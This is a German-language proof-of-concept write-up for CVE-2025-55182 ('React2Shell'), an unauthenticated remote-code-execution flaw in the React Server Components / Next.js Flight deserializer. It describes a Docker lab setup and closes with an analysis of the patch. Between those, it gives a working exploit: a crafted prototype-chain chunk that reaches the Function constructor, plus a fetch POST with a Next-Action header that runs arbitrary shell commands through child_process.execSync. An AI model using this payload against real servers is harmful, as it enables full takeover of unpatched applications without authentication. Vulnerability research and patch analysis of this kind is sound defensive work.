
Proof-of-Concept für CVE-2025-55182 (React2Shell): nicht authentifizierte RCE in React Server Components / Next.js über die Deserialisierung des Flight-Protokolls.
CVE-2025-55182 ist eine der am weitesten verbreiteten Schwachstellen in Web-Frameworks im Jahr 2025. React Server Components (RSC) sind inzwischen die vorherrschende Architektur moderner Next.js-Anwendungen. Eine Vielzahl von Standardprojekten, die mit create-next-app erstellt wurden, ist betroffen – und die Schwachstelle kann ohne jeglichen benutzerdefinierten Code ausgenutzt werden.
| Element | Inhalt |
|---|
| CVE-Kennung | CVE-2025-55182 |
| Alternativname | React2Shell |
| Schwachstellentyp | Nicht authentifizierte Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialisierung nicht vertrauenswürdiger Daten (Deserialization of Untrusted Data) [3] |
| CVSS-Score | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Betroffene Pakete | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Betroffene Versionen | React 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 und höher, 15.x, 16.x |
| Angriffskomplexität | Sehr gering (ein einzelner HTTP-POST-Request) |
| Authentifizierung erforderlich | Nein |
Erstellen Sie eine Next-Anwendung mit der verwundbaren Version (16.0.6):
pnpm create [email protected] next-app --yes
Fügen Sie unter next-app/app/ eine Datei actions.ts hinzu und markieren Sie sie als Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
Fügen Sie auf der Startseite (z. B. app/page.tsx) ein Formular hinzu, dessen action auf die oben genannte testAction verweist und das mindestens ein Feld enthält (z. B. ein Hidden Input).
Next.js erzeugt für dieses Formular im HTML ein Hidden Input mit
name="$ACTION_ID_<40 Zeichen hex>"; der POC extrahiert diese ID per Regex aus dem HTML der Startseite.
Die Dateien next-app/Dockerfile und docker-compose.yml im Projekt können zum Erstellen und Ausführen der Next-Anwendung verwendet werden; als Vorbild kann das offizielle Beispiel [8] dienen.
Führen Sie im Projektstammverzeichnis aus:
docker compose up --build -d
Die gestartete Next-Anwendung ist anschließend unter http://localhost:3000 erreichbar.
Entfernen Sie nach Abschluss des POC die Docker-Umgebung vollständig:
docker compose down -v
Beim Ausführen des POC ruft das Skript die Startseite ab und extrahiert die ID mit dem Regex \$ACTION_ID_([a-f0-9]{40})/. Beispiel:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Installieren Sie die Abhängigkeiten im Projektstammverzeichnis und führen Sie Folgendes aus:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Die zentralen Codeausschnitte sind:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Im Folgenden wird als Beispiel das Schreiben einer Datei auf dem Zielsystem gezeigt:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec in den Container wechseln oder über Docker Desktop nachsehen.Die Schwachstelle befindet sich in der Flight-Protokoll-Deserialisierung von React (RSC Flight Deserializer). Dieser Mechanismus ist für die Übertragung des React-Komponentenzustands zwischen Server und Client zuständig, weist jedoch ein schwerwiegendes Problem an der Vertrauensgrenze im Verarbeitungsprozess auf.
Das React-Flight-Protokoll ist das von React für Server Components und Server Actions entworfene Wire-Format: Es serialisiert Komponentenbäume, Funktionsargumente usw. in einen als JSON dargestellten Chunk-Stream und erstellt über
$Nummerund$Nummer:SchlüsselnameReferenzen zwischen den Chunks, sodass der Server daraus vollständige JavaScript-Werte rekonstruieren kann.
Angreifer sendet bösartigen HTTP-POST-Request
↓
[Phase 1] Erstellen eines selbstreferenziellen Schleifenobjekts (Self-referential loop)
↓
[Phase 2] JavaScript-Engine dazu verleiten, eine vom Angreifer kontrollierte Funktion aufzurufen
↓
[Phase 3] Injizieren bösartiger Daten, um den Flight-Initialisierungsprozess auszulösen
↓
[Phase 4] Aufruf des Function-Konstruktors über den Blob-Handler
↓
Beliebiger JavaScript-Code wird serverseitig ausgeführt (RCE)
Die Server Functions von React (in Next.js als Server Actions bekannt) serialisieren die Daten, die das Frontend an das Backend senden möchte, über das React-Flight-Protokoll in einzelne Chunks und übermitteln sie anschließend als Formulardaten (Form Data).
Zu den Vorteilen dieses Designs gehören:
Chunks können einander referenzieren, zum Beispiel:
["$1"] (referenziert Chunk 1){"object":"fruit","name":"$2:fruitName"} (referenziert fruitName aus Chunk 2){"fruitName":"cherry"}Der Server interpretiert dies und erhält: { object: 'fruit', name: 'cherry' }. Das Protokoll erlaubt es also, mit $Nummer:Schlüsselname auf Eigenschaften anderer Chunks zu verweisen und daraus das endgültige JavaScript-Objekt zusammenzusetzen.
Die Implementierung vor dem Patch prüfte beim Auflösen dieser Referenzen nicht streng, ob der Schlüssel tatsächlich als eigene Eigenschaft des Objekts existiert. Angreifer konnten daher über Referenzen auf Eigenschaften des Objekt-Prototyps (prototype) zugreifen.
Beispielsweise lässt sich das folgende Payload konstruieren:
["$1:__proto__:constructor:constructor"]{"x":1}Wenn der Server „__proto__ → constructor → constructor von Chunk 1" auflöst, erhält er den Function-Konstruktor ([Function: Function]), also den eingebauten Konstruktor, der aus Zeichenketten Funktionen erzeugt. Das bedeutet: Über eine missbräuchliche Referenzkette kann serverseitig Function erlangt werden, um Zeichenketten als Code auszuführen.
Nach Erhalt des Formulars stellt Next.js die Chunks mit decodeReplyFromBusboy zu einem Wert wieder her und führt auf diesem Wert ein await aus.
In JavaScript gilt ein Objekt mit einer .then-Methode als Thenable; bei await wird diese .then-Methode aufgerufen. Wenn man also das .then des „Dekodierungsergebnisses" auf eine vom Angreifer kontrollierte Funktion zeigen lässt (z. B. den oben genannten Function-Konstruktor), wird diese Logik beim await ausgeführt. Der nächste Angriffsschritt ist: Ein Objekt zu konstruieren, das nach der Dekodierung wie ein Thenable wirkt, und dessen .then auf ein gewünschtes Call-Gadget zu richten.
Mit $@0 den „rohen Chunk" referenzieren
Im Protokoll bedeutet $@Nummer „nimm den rohen Inhalt des N-ten Chunks, ohne weiter aufzulösen". Chunk 1 kann also "$@0" sein, sodass der Parsing-Prozess die Rohdarstellung von „Chunk 0 selbst" liest.
Das .then von Chunk 0 auf den Prototyp des Chunks zeigen lassen
Wenn Chunk 0 ein Objekt der Form {"then": "$1:__proto__:then", ...} ist und Chunk 1 "$@0", wird beim Parsen das .then von Chunk 0 auf Chunk.prototype.then gesetzt (im Flight-Protokoll ist der Chunk selbst ein Thenable). Wenn Next.js das Dekodierungsergebnis nun mit await behandelt, gelangt man in die .then-Logik des Chunks.
initializeModelChunk auslösen
In Chunk.prototype.then: Wenn der status des „gefälschten Chunks" "resolved_model" ist, wird initializeModelChunk aufgerufen. Dort wird der value des Chunks als JSON geparst und das resultierende Objekt einem Durchlauf „Revive" unterzogen, bei dem verschiedene spezielle Präfixe verarbeitet werden (z. B. Blob-Referenzen, die mit $B beginnen).
Call-Gadget: _response._formData.get(_prefix + id)
Bei der Verarbeitung des $B-Präfixes führt das Programm Folgendes aus:
response._formData.get(response._prefix + eine ID).
Wenn man im gefälschten Chunk über _response sowohl _formData als auch _prefix kontrolliert, _formData.get auf den Function-Konstruktor zeigt und _prefix auf die auszuführende Code-Zeichenkette setzt, wird diese Zeile zu:
Function("unser geschriebener Code" + "0")
Das heißt, es wird „eine Funktion aus einer Zeichenkette erzeugt". Diese Funktion wird als Rückgabewert des .then dieses Chunks in derselben Promise-Kette per await aufgerufen – und führt dadurch unseren Code auf dem Server aus.
Tatsächliche RCE
Ändert man „unser geschriebener Code" beispielsweise zu:
process.mainModule.require('child_process').execSync('auszuführender Systembefehl');
lässt sich auf dem Server Remote Code Execution (RCE) erreichen.
React hat die Schwachstelle in PR #35277 [9] (Commit e2fd5dc [10]) behoben. Die zwei Kernpunkte:
Eigenschaftsauflösung nicht entlang der Prototyp-Kette
In der Logik zum Auflösen von Chunk-Referenzen (z. B. requireModule) wird nun zunächst per hasOwnProperty geprüft, ob der Schlüssel tatsächlich als eigene Eigenschaft des Objekts existiert; wenn nicht, wird undefined zurückgegeben. Eigenschaften wie constructor werden nicht mehr über __proto__ bezogen. Diese Änderung wurde auf mehrere Flight-bezogene Module angewendet (z. B. ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack sowie die entsprechenden Parcel-/Turbopack-Konfigurationen) und unterbricht die Exploit-Kette „Erlangen des Function-Konstruktors über Referenzen → Konstruieren eines Thenables → Auslösen eines Get-Gadgets zur beliebigen Codeausführung".
Fehlerbehandlung in decodeReplyFromBusboy
Beim Parsen der Formulardaten (resolveField, resolveFileComplete usw.) wurde ein try/catch hinzugefügt. Sobald das Parsen einen Fehler wirft, wird busboyStream.destroy(error) aufgerufen, sodass der Fehler korrekt weitergereicht wird und der Stream nicht in einem inkonsistenten Zustand verbleibt – das verringert die Angriffsfläche bei Parsing-Anomalien.